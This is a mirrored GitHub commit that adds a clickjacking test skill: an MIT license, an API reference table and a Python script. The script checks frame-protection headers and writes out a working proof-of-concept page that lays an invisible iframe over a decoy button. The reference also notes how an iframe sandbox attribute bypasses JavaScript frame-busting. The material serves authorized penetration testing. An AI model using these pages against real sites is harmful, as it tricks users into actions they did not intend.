mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-10 20:33:20 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,58 @@
|
||||
# API Reference: Performing Clickjacking Attack Test
|
||||
|
||||
## HTTP Security Headers
|
||||
|
||||
| Header | Values | Description |
|
||||
|--------|--------|-------------|
|
||||
| `X-Frame-Options` | `DENY`, `SAMEORIGIN`, `ALLOW-FROM uri` | Legacy frame embedding control |
|
||||
| `Content-Security-Policy: frame-ancestors` | `'none'`, `'self'`, URLs | Modern CSP-based frame control |
|
||||
|
||||
## requests Library
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `requests.get(url, allow_redirects=True)` | Fetch page and follow redirects |
|
||||
| `response.headers.get("X-Frame-Options")` | Extract frame protection header |
|
||||
| `response.headers.get("Content-Security-Policy")` | Extract CSP header |
|
||||
|
||||
## PoC HTML Elements
|
||||
|
||||
| Element | Purpose |
|
||||
|---------|---------|
|
||||
| `<iframe src="target" style="opacity:0">` | Invisible target frame overlay |
|
||||
| `<div class="decoy">` | Visible decoy content beneath frame |
|
||||
| `sandbox` attribute | Bypass JS frame-busting on iframe |
|
||||
|
||||
## JavaScript Frame-Busting Patterns
|
||||
|
||||
| Pattern | Description |
|
||||
|---------|-------------|
|
||||
| `top.location !== self.location` | Check if page is framed |
|
||||
| `window.top !== window.self` | Alternative frame detection |
|
||||
| `parent.frames.length > 0` | Check for parent frames |
|
||||
|
||||
## Key Libraries
|
||||
|
||||
- **requests** (`pip install requests`): HTTP client for header analysis
|
||||
- **selenium** (optional): Browser-based testing for JS frame-busting validation
|
||||
- **beautifulsoup4** (optional): Parse HTML for embedded frame-busting scripts
|
||||
|
||||
## Configuration
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| Target URL | Authorized target application URL |
|
||||
| Endpoint paths | Application paths to test (login, settings, admin) |
|
||||
|
||||
## OWASP Testing Guide
|
||||
|
||||
| Test ID | Description |
|
||||
|---------|-------------|
|
||||
| WSTG-CLNT-09 | Testing for Clickjacking |
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
- [MDN X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)
|
||||
- [MDN CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
||||
- [PortSwigger Clickjacking](https://portswigger.net/web-security/clickjacking)
|
||||
@@ -0,0 +1,232 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Clickjacking Attack Test Agent — AUTHORIZED TESTING ONLY
|
||||
Tests web applications for clickjacking (UI redressing) vulnerabilities by
|
||||
checking frame-busting headers and generating proof-of-concept pages.
|
||||
|
||||
WARNING: Only use with explicit written authorization for the target application.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
def check_frame_headers(url: str) -> dict:
|
||||
"""Check X-Frame-Options and CSP frame-ancestors headers."""
|
||||
try:
|
||||
resp = requests.get(url, timeout=15, allow_redirects=True, verify=True)
|
||||
except requests.RequestException as e:
|
||||
return {"url": url, "error": str(e)}
|
||||
|
||||
xfo = resp.headers.get("X-Frame-Options", "").upper()
|
||||
csp = resp.headers.get("Content-Security-Policy", "")
|
||||
frame_ancestors = ""
|
||||
|
||||
if "frame-ancestors" in csp.lower():
|
||||
for directive in csp.split(";"):
|
||||
if "frame-ancestors" in directive.lower():
|
||||
frame_ancestors = directive.strip()
|
||||
break
|
||||
|
||||
vulnerable = True
|
||||
protections = []
|
||||
|
||||
if xfo in ("DENY", "SAMEORIGIN"):
|
||||
vulnerable = False
|
||||
protections.append(f"X-Frame-Options: {xfo}")
|
||||
elif xfo:
|
||||
protections.append(f"X-Frame-Options: {xfo} (non-standard)")
|
||||
|
||||
if frame_ancestors:
|
||||
if "'none'" in frame_ancestors or "'self'" in frame_ancestors:
|
||||
vulnerable = False
|
||||
protections.append(f"CSP: {frame_ancestors}")
|
||||
|
||||
return {
|
||||
"url": url,
|
||||
"status_code": resp.status_code,
|
||||
"x_frame_options": xfo if xfo else "MISSING",
|
||||
"csp_frame_ancestors": frame_ancestors if frame_ancestors else "MISSING",
|
||||
"protections": protections,
|
||||
"vulnerable": vulnerable,
|
||||
"severity": "HIGH" if vulnerable else "NONE",
|
||||
}
|
||||
|
||||
|
||||
def check_multiple_endpoints(base_url: str, paths: list[str]) -> list[dict]:
|
||||
"""Check multiple endpoints for clickjacking protection."""
|
||||
results = []
|
||||
for path in paths:
|
||||
url = f"{base_url.rstrip('/')}/{path.lstrip('/')}"
|
||||
result = check_frame_headers(url)
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def generate_poc_html(target_url: str, action_description: str = "Click here") -> str:
|
||||
"""Generate clickjacking proof-of-concept HTML page."""
|
||||
parsed = urlparse(target_url)
|
||||
return f"""<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Clickjacking PoC - {parsed.hostname}</title>
|
||||
<style>
|
||||
body {{
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
font-family: Arial, sans-serif;
|
||||
}}
|
||||
.overlay {{
|
||||
position: absolute;
|
||||
top: 150px;
|
||||
left: 50px;
|
||||
z-index: 2;
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
width: 200px;
|
||||
height: 50px;
|
||||
cursor: pointer;
|
||||
}}
|
||||
.decoy {{
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}}
|
||||
.decoy button {{
|
||||
position: absolute;
|
||||
top: 150px;
|
||||
left: 50px;
|
||||
padding: 15px 30px;
|
||||
font-size: 18px;
|
||||
background: #4CAF50;
|
||||
color: white;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}}
|
||||
iframe {{
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 600px;
|
||||
opacity: 0.0001;
|
||||
z-index: 3;
|
||||
border: none;
|
||||
}}
|
||||
.controls {{
|
||||
position: fixed;
|
||||
bottom: 10px;
|
||||
left: 10px;
|
||||
z-index: 10;
|
||||
background: #333;
|
||||
color: white;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
}}
|
||||
.controls input {{
|
||||
width: 60px;
|
||||
}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Clickjacking Proof of Concept</h2>
|
||||
<p>Target: {target_url}</p>
|
||||
<div class="decoy">
|
||||
<button>{action_description}</button>
|
||||
</div>
|
||||
<iframe src="{target_url}" id="target-frame"></iframe>
|
||||
<div class="controls">
|
||||
<label>Opacity: <input type="range" id="opacity" min="0" max="100" value="0"
|
||||
oninput="document.getElementById('target-frame').style.opacity = this.value / 100"></label>
|
||||
</div>
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
|
||||
def check_javascript_frame_busting(url: str) -> dict:
|
||||
"""Check for JavaScript-based frame-busting code."""
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
except requests.RequestException as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
body = resp.text.lower()
|
||||
frame_busting_patterns = [
|
||||
"top.location", "self.location", "window.top",
|
||||
"parent.frames", "top !== self", "top != self",
|
||||
"window.self !== window.top",
|
||||
]
|
||||
|
||||
found_patterns = [p for p in frame_busting_patterns if p in body]
|
||||
|
||||
return {
|
||||
"url": url,
|
||||
"has_js_frame_busting": len(found_patterns) > 0,
|
||||
"patterns_found": found_patterns,
|
||||
"note": "JS frame-busting can be bypassed with sandbox attribute on iframe" if found_patterns else "",
|
||||
}
|
||||
|
||||
|
||||
def generate_report(results: list[dict], js_checks: list[dict]) -> str:
|
||||
"""Generate clickjacking test report."""
|
||||
lines = [
|
||||
"CLICKJACKING VULNERABILITY TEST REPORT — AUTHORIZED TESTING ONLY",
|
||||
"=" * 65,
|
||||
f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
|
||||
"",
|
||||
f"Endpoints Tested: {len(results)}",
|
||||
f"Vulnerable: {sum(1 for r in results if r.get('vulnerable', False))}",
|
||||
f"Protected: {sum(1 for r in results if not r.get('vulnerable', True))}",
|
||||
"",
|
||||
"RESULTS:",
|
||||
"-" * 50,
|
||||
]
|
||||
|
||||
for r in results:
|
||||
status = "VULNERABLE" if r.get("vulnerable") else "PROTECTED"
|
||||
lines.append(f" [{status}] {r['url']}")
|
||||
lines.append(f" X-Frame-Options: {r.get('x_frame_options', 'N/A')}")
|
||||
lines.append(f" CSP frame-ancestors: {r.get('csp_frame_ancestors', 'N/A')}")
|
||||
|
||||
if js_checks:
|
||||
lines.extend(["", "JAVASCRIPT FRAME-BUSTING:"])
|
||||
for jc in js_checks:
|
||||
has_js = "YES" if jc.get("has_js_frame_busting") else "NO"
|
||||
lines.append(f" {jc.get('url', 'N/A')}: JS frame-busting: {has_js}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("[!] CLICKJACKING TEST — AUTHORIZED TESTING ONLY\n")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_url> [additional_paths...]")
|
||||
sys.exit(1)
|
||||
|
||||
target_url = sys.argv[1]
|
||||
extra_paths = sys.argv[2:] if len(sys.argv) > 2 else [
|
||||
"/", "/login", "/settings", "/account", "/admin",
|
||||
]
|
||||
|
||||
print(f"[*] Testing {target_url} for clickjacking vulnerabilities...")
|
||||
results = check_multiple_endpoints(target_url, extra_paths)
|
||||
|
||||
js_checks = []
|
||||
for r in results:
|
||||
if r.get("vulnerable"):
|
||||
jc = check_javascript_frame_busting(r["url"])
|
||||
js_checks.append(jc)
|
||||
|
||||
report = generate_report(results, js_checks)
|
||||
print(report)
|
||||
|
||||
vulnerable = [r for r in results if r.get("vulnerable")]
|
||||
if vulnerable:
|
||||
poc = generate_poc_html(vulnerable[0]["url"])
|
||||
poc_file = "clickjacking_poc.html"
|
||||
with open(poc_file, "w") as f:
|
||||
f.write(poc)
|
||||
print(f"\n[*] PoC saved to {poc_file}")
|
||||
Reference in New Issue
Block a user